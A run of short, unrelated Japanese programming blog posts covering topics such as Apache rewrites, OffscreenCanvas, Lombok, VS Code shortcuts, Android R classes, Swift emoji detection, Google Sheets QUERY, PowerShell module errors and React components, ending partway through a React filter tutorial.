edge-rewriteモジュールを使用してみましたが、.htaccess上で1行で完結するようなリダイレクトは問題ないかなと思いました。ただ、以下のようにRewriteCondを使用してクエリーパラメータを参照するようなリダイレクトはedge-rewriteでは出来ません。
用途に合わせて利用して頂ければと思います。

```
RewriteCond %{QUERY_STRING} ^p=1$
RewriteRule ^test/$ https://lpeg.info/category [L,R=301]
```
Googleデータアナリティクス：データの保護

# はじめに

本記事は、Googleデータアナリティクスのプロフェッショナル認定証のプログラムより、参照させて頂いています。興味を持った方は、是非受講してみてください。

https://www.coursera.org/professional-certificates/data-analytics-japanese

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/36b2ca51-67fa-7818-756d-a4a47431a4c6.png" width="800">

# セキュリティとデータ アナリティクスのせめぎ合い

データ セキュリティとは、データを保護し、不正アクセスされたり破壊されたりするのを防ぐ安全対策を意味します。データ セキュリティの目的は通常、権限のないユーザーが機密データにアクセスしたり、閲覧したりできないようにすることです。

データアナリストは、データセキュリティと分析ニーズとのバランスを取る方法を見つけなければなりません。これは簡単なことではありません。データを安心・安全に保ちたい一方で、できるだけ早くデータを使って、有意義でタイムリーな分析を行いたいものです。 

そのためには、企業はデータのセキュリティ対策とデータアクセスのニーズのバランスを取る方法を見つける必要があります。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/a8bc3594-b588-47a9-2ad8-d32663320a3d.png" width="７00">

# セキュリティ対策

幸いなことに、企業がそれを実現するのに役立つセキュリティ対策がいくつかあります。

### <font color="MediumBlue">暗号化</font>

暗号化では、独自のアルゴリズムを使ってデータを書き換え、そのアルゴリズムを知らないユーザーやアプリケーションからは使用できないようにします。このアルゴリズムは「鍵」として保存され、暗号化を解除するのに使用されます。つまり、鍵さえあれば、データを元の形式で使用することができるのです。  

### <font color="MediumBlue">トークン化</font>

トークン化は、保護したいデータ要素を「トークン」と呼ばれるランダムに生成されるデータで置き換えるものです。元のデータは別の場所に保存され、トークンにマッピングされます。完全なオリジナルデータにアクセスするには、ユーザーまたはアプリケーションは、トークン化されたデータとトークンのマッピングを使用する許可を得る必要があります。つまり、トークン化されたデータがハッキングされたとしても、元のデータは別の場所に安全に保管されるのです。 

:::note info
暗号化とトークン化は、データ セキュリティの選択肢の一つに過ぎません。他にも、AI  認証デバイスを使うなど、さまざまな方法があります。 
:::

# Google スプレッドシートにおけるセキュリティ機能

データアナリストとして、 データ セキュリティの確保は最優先事項です。 そのためどの表計算ソフトを使っても 作業の安心・安全を確保するための セキュリティ機能は備わっています。 

- スプレッドシート全体を保護するか、スプレッドシート内の特定のセルを保護するかを選択することができます。
- 設定は共有メニューの下にあり オンラインでシートを見たり、 編集したりする人を コントロールできます。
- コピーすることも可能なので ユーザーはオリジナル版を変更することなく そのデータを使って作業できます。
- タブを隠したり 消したりすることで、表示する データを変更することができます。 ただし、非表示にしたタブであっても 他のユーザーが非表示を解除することも 可能なため、ユーザーがそのタブに アクセスできる状態である、 ということに注意しましょう
OffscreenCanvasで画像を表示する

Safari 16.4から、Web Workersを使用したOffscreenCanvas（Context2Dのみ）に対応したため、早速使ってみました。しかし、画像の表示方法がわからず結構苦戦したので、メモとして残します。

## OffscreenCanvasとは
Web Workersを使用して、メインスレッドをブロックすることなく、バックグラウンドでCanvasの描画処理を実行可能にする仕組みのことです。

OffscreenCanvasを使用することで、時間のかかる処理を別のスレッドに移すことができるため、UIを担当するメインスレッドの処理を中断・遅延させずにWebページの操作性を向上させ、滑らかなユーザーエクスペリエンスを提供することができます。

https://developer.mozilla.org/ja/docs/Web/API/OffscreenCanvas

### サンプルコード
```javascript
// main script
const canvas = document.getElementById('canvas');
const offscreen = canvas.transferControlToOffscreen();
const worker = new Worker('worker.js');
worker.postMessage({ canvas: offscreen }, [ offscreen ]);
```
```javascript
// worker script
class WorkerMain {
    constructor(canvas) {
        this.context = canvas.getContext('2d');
    }

    async render(src){
        const response = await fetch(src);
        const blob = await response.blob();
        const imageBitmap = await createImageBitmap(blob);
        this.context.drawImage(imageBitmap, 0, 0);
    }
}

onmessage = async (event) => {
    const src = './image.jpg';
    const offscreen = event.data.canvas;
    const workerMain = new WorkerMain(offscreen);
    await workerMain.render(src);
};
```
### 説明
fetch()メソッドを使用して画像を取得し、response.blob()メソッドでBlobオブジェクトに変換しています。
```javascript
const response = await fetch(src);
const blob = await response.blob();
```

createImageBitmap()メソッドを使用して、BlobオブジェクトからImageBitmapオブジェクトを作成し、Canvasに描画しています。なお、createImageBitmap()メソッドはPromiseを返します。
```javascript
const imageBitmap = await createImageBitmap(blob);
this.context.drawImage(imageBitmap, 0, 0);
```

## 最後に
ワーカー内から直接DOMを扱えないため最初は戸惑いましたが、同じ状況の方の一助となれば幸いです。内容に誤り等ございましたらコメントよろしくお願いします。
Lombokとは　アノテーション

## Lomblckとは

ボイラープレートコードをソースコードから排除するために使用する

ボイラーコード：言語使用上省くことができない定型的なコードのこと

→アノテーションをつけるだけで、getter,setter,toString,equalsなどをコンパイル時に自動生成してくれるもの

## アノテーション

- val

代入された値から肩を推論してくれる
valはfinal型となるため再代入はできない

- @NonNull

メソッドやコンストラクタのパラメータに付与することで自動的にNULLチェックをしてくれる

Lombockにはデフォルトの挙動を設定するために機能があるため、プロジェクトのフォルダ直下にlombock.configというファイルを配置することで使用できる

- @Cleanup

ローカル変数に対して付与することで、その変数が属するスコープを抜ける際に自動的にcloseメソッドを実行する

- @Getter @Setter

クラスフィールドに付与することでgetter,setterを自動生成してくれる

クラスに指定した場合はそのクラスすべての非stataicフィールドに対して自動生成する

- @ToString

クラスに付与することによって、toStringメソッドを自動生成することができる

クラスのフィールドに自分自身を保持するようなクラスがあった場合は無限ループになるため注意
その場合は対象のフィールドをtoStringから除外する

- @EqualsAndHashCode

equalsメソッドとhashCodeメソッドを自動生成することができる

- @NoArgsConstructor @RequiredArgsConstructor @AllArgsConstructor

@NoArgsConstructor：引数無しコンストラクタを自動生成する
@RequiredArgsConstructor：final指定されたフィールドを引数に持つコンストラクタを自動生成する
@AllArgsConstructor：すべての非staticフィールドを引数に持つコンストラクタを自動生成する

- @Data

@ToString, @EqualsAndHashCode, @Getter, @Setter, @RuquiredArgsConstructorをまとめたアノテーション
VS Code効率爆上げショートカット集

# はじめに
Visual Studio Code（以下、VSCode）でコードを書く際に、個人的に作業効率が上がると感じるショートカットをまとめてみました。
筆者はWindowsユーザーで`HTML、CSS、JavaScript、C#、SQL`あたりを見たり書いたりしています。

「習うより慣れろ」でVSCodeを開いて実際に打ってみて欲しいです。無意識でもできるように頭と指に刷り込ませて、作業効率を上げていきましょう！！　

VSCodeのダウンロードは[こちら](https://code.visualstudio.com/)から。

## Ctrl + s / Ctrl + z / Ctrl + y
**基本のき！！**　保存、戻る、進む！！！
`Ctrl + s`は何かするたびに絶対押しましょう。エディタに限らずドキュメントなどもとにかく`Ctrl + s`は無意識下でも使えるようにしておかないと、急に落ちた時などに地獄を見ます。

## Tab / Shift + Tab
選択した範囲に一括でインデント作成（頭に空白ができる）。
`Shift + Tab`でインデント削除（左にどんどん戻っていく）。

## Ctrl + Shift + 矢印
左右で単語ごとに選択、上下で行ごとに選択できます。
マウスでドラッグする必要がなくなります。

## 調べたい変数や関数を選択した状態で「F12」
変数や関数を定義している箇所にジャンプ！
使用している言語の拡張機能が入っていないと使えないことが多いので、拡張機能はチェックしましょう。
拡張機能が入っていてもVSCodeが重く使えない時もありますが、VSCodeを開き直せば使えるようになることが多いです。

## Ctrl + p
作業中フォルダの全ファイル名を検索。

## Ctrl + f
作業中ファイル内での検索。

## Ctrl + g
指定した行数へと移動。コードが長い時ほど便利。

## Ctrl + k ⇒ Ctrl + c 
選択した範囲を一括でコメントアウト。`Ctrl + k`してから`Ctrl + c`です。
リズムでタンタターン！　と慣れましょう。

## Ctrl + k ⇒ Ctrl + u
選択した範囲のコメントアウトが一括で解除。

## Ctrl + /
選択した範囲の一括コメントアウトと解除どちらも。
私は先に覚えたのが上2つだったのですが、こちらの方が覚えやすいかと思います。

## Ctrl + Shift + f
作業中フォルダ内にあるファイル全てから検索を行える。
マークアップされて見やすくてとても便利。

##  Ctrl + Shift + l（エル）
編集したい箇所を選択して、`Ctrl + Shift + l`すると作業ページ内の同一単語も全て選択されます。そのまま編集や削除を行うと、作業中ファイル内の全ての同一単語に変更点が反映されます。**超便利。**　
個人的に知った時に一番テンションが上がりました。
ただ、同一単語でもここは変えたらダメ！　というのがある時は要注意。

# おわりに
VS Codeでの作業効率を上げるショートカットキー、いかがでしょうか？
他にもこんなのがあるよ～とコメントなどでも教えていただけたら嬉しいです！

ショートカットキーを積極的に使って、手のマウスへの移動を抑えることで手の疲れも軽減しますしほんの数秒の短縮でも積み重なれば大きな時短となります。是非使ってみてくださいね。

また弊社では、採用や技術イベントを定期的に開催していく予定です。
[**Twitter**](https://twitter.com/obg_ocr)もフォローいただけたらとても嬉しいです。DMでのお問い合わせもお待ちしております！
【Android】Non-Transitive R Classes を有効にしてビルドを最適化する

## はじめに

間もなくリリースされると予想される Android Gradle Plugin (AGP) 8.0 から、ライブラリモジュールにおいて **R クラスがデフォルトで非推移的になります**。本記事では、Non-Transitive R Classes の概要と、マイグレーション手順、導入のメリットについてまとめます。

## Non-Transitive R Classes とは

`:library2` と `:library1` の2つのモジュールがあり、`:library2` が `:library1` に依存しているとします。従来 R クラスは推移的だったため、`:library1` にあるリソースであっても あたかも`:library2`にあるリソースであるかのように扱うことができました。

```mermaid
graph LR
  lib2(:library2 module) --> lib1(:library1 module)
```

しかしこれにはパフォーマンス上の問題がありました。なぜならビルドをするたびにそのモジュールだけでなく、モジュールが依存するすべてのモジュールのリソース ID も生成する必要があるからです。結果的に実行ファイルのサイズが大きくなり、ビルド時間も長くなっていました。

ここで登場するのが Non-Tansitive R Classes です。名前の通り、R クラスを非推移的にすることで上記の問題を解決することができます。

## Non-Transitive R Classes に移行する

Non-Transitive R Classes への移行手順を紹介します。やり方は簡単で、Android Studio でプロジェクトを開き、`| Refactor | Migrate to Non-Transitive R Classes... |` を押すだけです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/56635/43b49688-7854-8316-7d3c-1c8dd1f45d66.png)

自動的に `android.nonTransitiveRClass=true` 追加され、推移的に参照されていたリソースはパッケージ名を含む完全修飾名を使って参照されるようになります。

:::note info
参考
非常に大きいプロジェクトの場合、Android Studio がフリーズすることがあるようです。その場合はこちらの記事の方法が参考になります。 https://slack.engineering/its-a-non-transitive-r-class-world/
:::

## リソースの完全修飾名の解決策

完全修飾名を使用することは煩雑で冗長なため、import alias を使って解決することができます。下記にサンプルコードを示します。

```kotlin
// Before
val bg = com.github.maxfie1d.common.resources.R.drawable.background

// After
import com.github.maxfie1d.common.resources.R as CommonR
val bg = CommonR.drawable.background
```

:::note warn
注意
Import alias は Kotlin の機能であるため、Java で使用することができません。したがって Java では完全修飾名を使用する必要があります。
:::


## ビルド時間の変化

プロジェクトによって異なりますが、Web で調べた限りでは **インクリメンタルビルドにおいて 10%~20% 程度のパフォーマンス向上** を期待できるようです。機会があれば、手元のプロジェクトにおいてもパフォーマンス計測してみようと思います。


## 参考

* https://medium.com/androiddevelopers/5-ways-to-prepare-your-app-build-for-android-studio-flamingo-release-da34616bb946
* https://satoshun.github.io/2021/11/android-non-transitive-r/
* https://slack.engineering/its-a-non-transitive-r-class-world/
* https://www.youtube.com/watch?v=S_zZRBJxTQ0
Swift 5から文字列から絵文字を検出するのが容易になりました

Swift 5 では、文字列内の各文字の**Unicodeプロパティ**を検査できるようになりました
これにより、各文字に便利な```isEmoji```変数が使用できます

:::note note
絵文字にはUTF-16のUnicodeであり**2バイト**と**4バイト**の絵文字があります。
:::

:::note alert
**問題:**
数字の0 ～ 9などの2バイトの絵文字に変換できるすべての文字に対して```isEmoji```が、```true```を返すことです。
:::

**回避策：**
修飾子を必要としないUTF16絵文字の最初のインスタンス"0x203C"未満の文字には絵文字修飾子が添付されていることを確認します。

```swift
extension String {
    func containsEmoji() -> Bool {
        contains { $0.isEmoji }
    }

    func containsOnlyEmojis() -> Bool {
        return count > 0 && !contains { !$0.isEmoji }
    }
}

extension Character {
    // `isEmoji`は、数字の「3」などの修飾子を追加することで絵文字に変換できるすべての文字に対してtrueとなります。 
    // これを回避するために、"0x203C"未満の文字には絵文字修飾子が添付されていることを確認します。
    // "0x203C"は、修飾子を必要としないUTF16絵文字の最初のインスタンスです。
    var isEmoji: Bool {
        guard let scalar = unicodeScalars.first else { return false }
        return scalar.properties.isEmoji && (scalar.value >= 0x203C || unicodeScalars.count > 1)
    }
}
```


以下のような結果となります
>```"hey".containsEmoji() //false```
>
>```"Hello World 😎".containsEmoji() //true```
```"Hello World 😎".containsOnlyEmojis() //false```
>
>```"3".containsEmoji() //false```
```"3️⃣".containsEmoji() //true```

[参考](https://stackoverflow.com/a/57385141/18349314)
Googleデータアナリティクス：データ整理のベストプラクティス

# はじめに

本記事は、Googleデータアナリティクスのプロフェッショナル認定証のプログラムより、参照させて頂いています。興味を持った方は、是非受講してみてください。

https://www.coursera.org/professional-certificates/data-analytics-japanese

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/36b2ca51-67fa-7818-756d-a4a47431a4c6.png" width="800">

# データ整理のベストプラクティス

プロジェクトの初期段階で ご自身とチームにとって 最適な 管理方法を検討しておくのが よいでしょう。 

整理されていないデータは 散らかった部屋のようなものです。 何も見つけられないどころか 片付けを怠れば怠るほど悪化します。 しかし、早い段階で ファイルの保管場所を決めておけば、 業務に必要なデータを整理し 使いやすく、ミスがない状態に 保てるのです。 

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/0a4e91de-9601-1307-0ddb-9ba2865286c6.png" width="600">

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/676b5ac6-690d-dfe1-452b-31ce2d7264d4.png" width="600">


### <font color="MediumBlue">命名規則</font>

これは、ファイルの内容や日付、 バージョンなどを ファイル名で表現するための 一貫したガイドラインです。 基本的には、 論理的で分かりやすい名前を 使用することだと思ってください。 

- ファイル名を何度も変更するのを避けるため、プロジェクトの早い段階でファイル名の命名規則について話し合い、合意しておきましょう。
- チーム、または会社の既存のファイル命名規則に則って命名しましょう。
- ファイル名を、プロジェクト名など意味のあるものにし、適切な用途でファイルをすばやく識別（使用）できるような情報を記載しましょう。
- ファイル名に日付とバージョン番号を入れましょう。一般的な形式は、日付が YYYYMMDD、バージョン（またはリビジョン）が v## です。
- ファイルの命名規則の説明（要約）と、その説明に基づいたファイル名の例が入ったテキストファイルを作成しましょう。
- ファイル名に、スペースや特殊文字を使わないようにしましょう。代わりに、ダッシュ記号、アンダースコア、大文字を使用するようにしましょう。スペースや特殊文字は、アプリケーションによってはエラーの原因になります。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/1998b068-4928-467a-fa86-9465c76bf45a.png" width="700">

### <font color="MediumBlue">フォルダ分け</font>

また、探しやすさという意味では ファイルをフォルダ分けすることで プロジェクトに関連するファイルを 一か所にまとめておくことができます。 これをフォルダ分けといいます。 例えば、休暇の予定に関連する ファイルはすべて 「Vacation2025」フォルダーに入れる、 といったことができます。 そこからさらに 旅行日程表や写真などの サブフォルダーを作成し 簡単にアクセスできるように するとよいでしょう。 

- フォルダとサブフォルダを論理的な階層で作成し、関連するファイルはまとめて保存しましょう。
- 作業中のファイルと作業済ファイルは分け、進行中のプロジェクトに関するファイルを見つけやすくしましょう。古いファイルは、別のフォルダや外部ストレージにアーカイブすることをおすすめします。
- ファイルが自動的にバックアップされない場合は、手動で頻繁にバックアップを取り、大切な資料をなくさないようにしましょう。


### <font color="MediumBlue">古いファイルのアーカイブ</font>

古いプロジェクトを 別の場所に移動してアーカイブを作り 散らかった状態を防ぐ、といったことも 有効な方法です。 ファイルには意味があり、かつ 検索しやすい名前をつけたうえで フォルダに整理すると とても見つけやすく、 使いやすいものになります。 それはすべてのデータをよりアクセスしやすく、 使いやすくすることでもあります。 

### <font color="MediumBlue">命名や保存の方法をチーム内で 統一しておく</font>

仕事や業務で使用する プロジェクト データは 複数の人がアクセスし、 使用する可能性があります。 混乱を避けるために 命名や保存の方法をチーム内で 統一しておくことが重要です。 

### <font color="MediumBlue">メタデータを 整備する</font>

プロジェクトの命名規則を まとめたファイルを作成し 簡単に参照できるようにするなど チームでメタデータを 整備するのもよいでしょう。 

[以前、メタデータはデータに関する データである][meta]とお伝えしました。 メタデータは、どのようなデータが どう整理されているかを 説明するのに役立ちます。 

[meta]: https://qiita.com/mapami/items/fe4f8a6fd876de6e8b8c
GoogleスプレッドシートQUERY関数で日付検索する際の注意点



このような表があった場合
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/06ecaa35-c3e4-bbd0-5976-5914458545e8.png)

こちらのQUERY関数は
```
=QUERY(A:B,"SELECT A WHERE A=date'2023-04-03'")
```

狙いの日付が表示されるが
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/39c72ec3-03ad-6f15-1fa6-7bf62fb5f4fe.png)

こちらのSELECTだと
```
=QUERY(A:B,"SELECT B WHERE B=date'2023-07-01'")
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/23be8118-2943-1f58-0ed9-3cd154d69436.png)


何も表示されない・・・。

列の統計情報を見ると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/0098f05c-9cdf-7693-3da0-f378b672213d.png)


A列は日付頻度が高いが
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/1b8d73ad-ac7a-061a-0aad-b763c3e684d8.png)


Bは圧倒的に文字列判定をされてしまうようです
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/a2e5fc26-c90f-bc59-b30e-6d48ac17dbe3.png)


不本意ながら「-」を「1999/01/01」に変更したところ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/fc02a873-a750-d319-5709-c8e261dfb579.png)


狙いの日付が表示されました
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1906297/b651b501-856c-8782-0bf1-24c498d2891e.png)


As DateとかSQLであった気がするが手元に情報がなく
メモとして念のため残しておきます。
「こうすれば上手くいく」がありましたらコメントください！！
ChatGPTとりあえず触ってみた

# Webアプリを作ってみた
コピペしてもうまく動かなかったため、環境構築などを含め、検索と併用して出来上がりました。仕事で使えると便利だと思いますが、セキュリティなどはまだ勉強不足なため、調べておく必要があります。

# VSCodeにGenieという拡張機能を入れてみた
設定で質問を日本語にすれば、日本語で返答してくれる。未設定。

# これからやりたいこと
日本語版プロンプトエンジニアリングガイドを読んでおく。
https://www.promptingguide.ai/jp

仕様書ライティングや見積もり、工程表作成に使う方法を調査。

Qiitaの記事の書き方勉強。

NotionAIも触っておきたい。


* * *
# 今後は記事もChatGPTに書いてもらおうかな
ニュアンスが微妙。。そしてマークダウンで出すの失敗した
![キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/672888/e84f897f-ba65-1d36-8ae6-deeec889e225.png)
PHPで、Android .apkをダウンロードする。

### ■用途
・phpファイルを置いて、AndroidアプリからURLを叩いてapkファイルをダウンロードする。

#### ●フォルダ構成
![スクリーンショット (689).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/478380/86643d53-cfa8-dce9-b544-ef8c80810ba3.png)
・ダウンロードするapkファイル
・今回 *** .phpファイル ***

### ■ソースコード
```apk28.php

<?php
header('Content-Disposition: attachment; filename="app-debug.apk"'); // Android APK 記述
header('Content-Type: application/vnd.android.package-archive'); // Android APK 記述
header('Content-Transfer-Encoding: binary'); // エンコードタイプ
header('Content-Length: '.filesize("app-debug.apk")); // ダウンロードファイルサイズ
readfile("app-debug.apk"); // ダウロードファイル名
exit();


?>


<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>アンドロイド 10 対応版（2020-11-19 アップ版）</title>
</head>
<body>
    
</body>
</html>

```
React Datepickerのポップアップ方向変更について

## はじめに
React Datepickerは、ユーザーが日付を選択できるようにするための便利なコンポーネントですが、ポップアップの方向が適切でない場合、ユーザーが正しく日付を選択できなかい可能性があります。そこで、React Datepickerのポップアップ方向を変更する方法について解説します。
ちなみに私の場合は、日付選択時にSubmitボタンを押してしまう恐れがありましたので、ポップアップの方向を上にしたかったです。
#### 真下にSubmitボタン
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2350392/ff8119d7-5be5-05f8-365c-4554d2acb1e9.png)
#### カレンダーが開くと、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2350392/914f1c9f-320e-2f70-38db-3efb08735843.png)


## popperPlacementプロパティを使用する
ポップアップ方向を変えるのは非常に簡単です。
React Datepickerでは、ポップアップ方向を制御するためのプロパティ "popperPlacement" を提供しています。このプロパティには、ポップアップを表示する方向を指定する文字列を渡します。たとえば、"top" を指定すると、ポップアップがトリガーの上方向に表示されます。"bottom" を指定すると、ポップアップがトリガーの下方向に表示されます。

以下は、例として、React Datepickerでポップアップの方向を変更する方法を示すコードです。
選択できる方向は`top`,`bottom`,`left`,`right`になります。

``` React
     <DatePicker
        dateFormat="yyyy-MM-dd"
        maxDate={Today}
        selected={reportDateOn}
        required
        customInput={<CustomCalInput inputRef={inputRef} />}
        onChange={(selectedDate) => onChangeReportDateOn(selectedDate)}
        popperPlacement="top"
      />
```
上記のコードのように`top`を指定すると、カレンダーのポップアップ方向が上方向になります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2350392/b9b6d93d-949d-dd7c-4a2b-cb9a86228e42.png)


以上です。簡単でしたが、あまり情報がなく、調べるのにちょっと苦労をしましたので、共有したいと思い、記事を作成しました。
読んでいただき、ありがとうございました。


#### 下記を参考しました。
https://github.com/Hacker0x01/react-datepicker/issues/1246
ChatGPTボットはサービスの利用状況を毎日レポートしてくれる

ChatGPT使ってますね？便利だからどんどん使いましょう。うちのラスクちゃんはSlackに常駐してくれていて毎朝運用中のサービスの利用状況をレポートしてくれます！

![2023-04-11_16h44_14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33704/2eb2c5b5-5e40-c4f3-99fc-46231220a4bd.png)

AIはストレスを感じずにいくらでも働いてくれるし、気持ちの良い言葉を返してくれるのでたくさん活用していきましょう！にゃんにゃん！

https://qiita.com/akiraak/items/fae48ed1be76c4e4e459

https://qiita.com/akiraak/items/9d2a8117ee1f2560f33c

https://qiita.com/akiraak/items/d1d535d1d484b41be437

https://qiita.com/akiraak/items/38bb10f91590b1679953

ラスクの踊ってる姿はこちらです。Fefyさんの動画です。

<iframe width="560" height="315" src="https://www.youtube.com/embed/iLmShKFOOoo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>

３Dモデルはここにあるので買うと良いと思うます。

https://booth.pm/ja/items/2559783
Webエンジニアが知っておくべき基礎用語

# リクエスト(Request)
リクエストとは、WebブラウザからWebサーバーに送信される要求のことです。WebブラウザがWebサーバーにページを要求するとき、ブラウザはリクエストを送信し、Webサーバーはそのリクエストに対してレスポンスを返します。

# レスポンス(Response)
レスポンスとは、WebサーバーからWebブラウザに送信される応答のことです。WebブラウザがWebサーバーに対してリクエストを送信すると、Webサーバーはそのリクエストに応じてレスポンスを返します。

# ステートフル(Stateful)
ステートフルとは、状態を保持することを指します。ユーザーのデータや操作の状態を覚えており、ユーザーが次のアクションを実行するときにそれを利用します。
- 例）
ユーザー名、パスワードをサーバーに通知してから実行が可能である（ユーザーのデータや操作を覚えている）状態

# ステートレス(Stateless)
ステートレスとは、状態を保持しないことを指します。ユーザーのデータや操作の状態を覚えておらず、ユーザーが次のアクションを実行するときに再度データを要求します。
- 例）
HTTPは、1回のリクエストに対してレスポンスが返ってくる挙動であり、過去の状態に影響を受けない

# セッション(Session)
セッションとは、開始から終了までの処理のことで、ユーザーのログイン情報や状態の保持に利用されます。

# クッキー(Cookie)
クッキーとは、Webブラウザに保存される小さなデータの塊で、ユーザーがWebサイトにアクセスするときに使用されます。ユーザーが訪問したWebサイトに関する情報をブラウザに保存するために使用されます。

# プロトコル(Protocol)
プロトコルとは、コンピューター間で情報をやり取りするための手順や規則のことです。HTTPやHTTPSなどのプロトコルが使用されます。

# ポート番号(Port number)
ポート番号とは、コンピューターネットワークにおいて、プログラムが通信を行うための識別番号です。通常、ポート番号80番(HTTP)または443番(HTTPS)が使用されます。
「"ホーム"が重大な通知をあなたに送信することを求めています」のまま動かず電源強制オフすらできない

iPhoneで強制電源オフしようと思ってもできなくて困ってしまい、解決したので備忘録です。機種は iPhone 14 Pro、iOSバージョンは 16.3.1 でした。

# "ホーム"が重大な通知をあなたに送信することを求めています

iPhoneに「"ホーム"が重大な通知をあなたに送信することを求めています」っていう画面が現れて、「許可しない/許可」どちらを押しても何の反応もなく、何もできない状態に陥りました。

# 左右のボタンを同時長押し

iPhoneを強制電源オフしたければ「左右のボタンを同時長押し」ですよね。そうすると次の画面のようになりました。

![IMG_8379.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211162/04da15eb-0f94-c793-ca88-62c97d0143f2.png)

ところがこの「スライドで電源オフ」すらも動かないんですよね（よくある）。

そして、さらに長押しを続けると「緊急通報サービスにつなぎます」と言われて、やがて大音量の警報が鳴り懐中電灯が光り、電源オフができませんでした。

# 左上、左下、右

最終的に、今回効果があったのは

1.「音量+」（左上ボタン）を押してすぐ離す。
2. 「音量-」（左下ボタン）を押してすぐ離す。
3. 「電源」（右ボタン）を長押し。「スライドで電源オフ」が出ても離さず押し続ける。

という手順でした。その手順が書いてあるウェブサイトは多くはなかったのですが、

https://jp.imyfone.com/iphone-issues/frozen-and-cannot-turn-off/

が参考になりました。ありがとうございました。
PnP.PowerShell2.xでConnect-PnPOnlineを実行したらエラーが発生した

#### 備忘録として

PnP.PowerShellを2.1.1にアップデートし、Connect-PnPOnlineを実行した。

```
Connect-PnPOnline -Url https://tenant.sharepoint.com/sites/Site01 -Interactive
```

するとエラーが発生した。

```
Connect-PnPOnline : 'Connect-PnPOnline' コマンドはモジュール 'PnP.PowerShell' で見つかりましたが、このモジュールを読み
込むことができませんでした。詳細については、'Import-Module PnP.PowerShell' を実行してください。
発生場所 行:1 文字:1
+ Connect-PnPOnline -Url https://tenant.sharepoint.com/sites/Site01 -I ...
+ ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Connect-PnPOnline:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CouldNotAutoloadMatchingModule
    + FullyQualifiedErrorId : CommandNotFoundException
```
詳細については、'Import-Module PnP.PowerShell' を実行してください。となっているので実行した。
```
Import-Module PnP.PowerShell
```
別のエラーメッセージが表示された。
```
Import-Module : ファイルまたはアセンブリ 'System.Management.Automation, Version=7.2.0.0, Culture=neutral, PublicKeyToke
n=31bf3856ad364e35'、またはその依存関係の 1 つが読み込めませんでした。指定されたファイルが見つかりません。
発生場所 行:1 文字:1
+ Import-Module PnP.PowerShell
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Import-Module], FileNotFoundException
    + FullyQualifiedErrorId : System.IO.FileNotFoundException,Microsoft.PowerShell.Commands.ImportModuleCommand
```

なんで？？と思って調べていたら環境のせいだった。
（先輩、ご指摘ありがとうございます）
PnP.PowerShell2.xはPowerShell 7.2.x 以降のバージョンでのみ動く、とのこと。
参照）[Updating from PnP PowerShell 1.x to 2.x](https://github.com/pnp/powershell/blob/dev/MIGRATE-1.0-to-2.0.md)  

自分の端末のPowerShellのバージョンは5.1。
WindowsUpdateを実行していれば自動でPowerShellの最新バージョンに更新されるものと思い込んでいた。

Powershellを7.3.3にしたらきちんと実行できた。

※.NET 6.0以降をインストールする必要があります。
　接続は問題ないが、他の命令文で警告が表示されます。
　（Runtimeだけでもインストールすれば警告が表示されなくなります）
Reactでサクサク動くfilter機能をつける


# mapで広げたリストを検索でフィルターしたい
下のようなpersonsリストのデータを、mapを使って表示した後に、それぞれの名前でフィルター検索できるようにしたい。
```React
const persons = [
  {
    name: 'Takeshi',
    age: 18,
    country: 'Japan',
  },
  {
    name: 'Jackson',
    age: 21,
    country: 'America',
  },
  {
    name: 'Bono',
    age: 30,
    country: 'Brazil',
  },
];

const Filter = () => {
  return (
      {persons
        .map((person) => (
          <div key={person.name}>
            <h2>Name: {person.name}</h2>
            <p>Age: {person.age}</p>
            <p>Country: {person.country}</p>
          </div>
        ))}
    </>
  );
};


```


このままではただリストが表示されているだけなので、ここにuseStateと検索用のインプット欄を追加。
検索欄に入力された値が、filterValに保存されるようになります。
```React
 //useStateでインプットされた文字を管理する
  const [filterVal, setFilterVal] = useState('');
  return (
    <>
      <input
        type='text'
        placeholder='Search by name'
        value={filterVal}
        onChange={(e) => setFilterVal(e.target.value)}
      />
    ...
```

##### そして最後にpersonsをフィルターするコードを追加します。
```React
.filter((person) => person.name.indexOf(filterVal) !== -1)
```
この文ではfilterメソッドを使用し、personリストのnameが、filterValの値(入力された値)と一致すればtrue、一致しなければ-1(false)を返すようになっています。

### 全体のコードはこのようになります

```React
import { useState } from 'react';

const persons = [
  {
    name: 'Takeshi',
    age: 18,
    country: 'Japan',
  },
  {
    name: 'Jackson',
    age: 21,
    country: 'America',
  },
  {
    name: 'Bono',
    age: 30,
    country: 'Brazil',
  },
];

const Filter = () => {
  const [filterVal, setFilterVal] = useState('');
  return (
    <>
